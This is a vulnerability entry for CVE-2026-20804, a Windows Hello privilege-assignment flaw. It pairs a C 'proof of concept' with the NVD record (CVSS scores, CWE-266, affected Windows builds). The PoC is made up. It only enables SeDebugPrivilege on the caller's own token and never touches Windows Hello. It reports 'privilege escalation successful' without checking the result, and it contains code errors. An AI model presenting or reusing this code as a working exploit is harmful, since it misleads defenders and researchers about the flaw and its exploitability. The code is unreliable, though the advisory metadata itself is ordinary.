CVE-2026-20804

// CVE-2026-20804 PoC - Windows Hello Privilege Escalation // Note: This is a conceptual PoC for educational purposes only // Actual exploitation requires specific conditions and may be detected by security tools #include <windows.h> #include <stdio.h> // Simulated vulnerable function demonstrating privilege assignment flaw BOOL VulnerableHelloAuth(HANDLE hToken, DWORD targetPriv) { // Vulnerability: Missing proper privilege validation // Attacker can manipulate token privileges TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = {0}; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // LookupPrivilegeValue should validate but doesn't in vulnerable version if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { return FALSE; } // AdjustTokenPrivileges called without proper authorization check AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); return TRUE; } int main() { printf("CVE-2026-20804 PoC - Windows Hello Privilege Escalation\n"); printf("Target: Windows Hello authentication bypass\n"); HANDLE hProcess = GetCurrentProcess(); HANDLE hToken; // Open process token with lower privileges if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { // Exploit the vulnerable privilege assignment if (VulnerableHelloAuth(hToken, SE_DEBUG_PRIVILEGE)) { printf("[+] Privilege escalation successful\n"); printf("[+] Elevated privileges obtained\n"); } else { printf("[-] Exploitation failed\n"); } CloseHandle(hToken); } return 0; } // Mitigation: Apply security updates KBxxxxxxx for Windows Hello // Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20804

{"cve": {"id": "CVE-2026-20804", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:06.843", "lastModified": "2026-01-14T20:03:08.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect privilege assignment in Windows Hello allows an unauthorized attacker to perform tampering locally."}, {"lang": "es", "value": "Asignación incorrecta de privilegios en Windows Hello permite a un atacante no autorizado realizar manipulaciones localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "26E251FB-A333-4235-802B-2DE9357F3A9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A16B7966-F89C-4292-814F-448667F6528B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20804", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}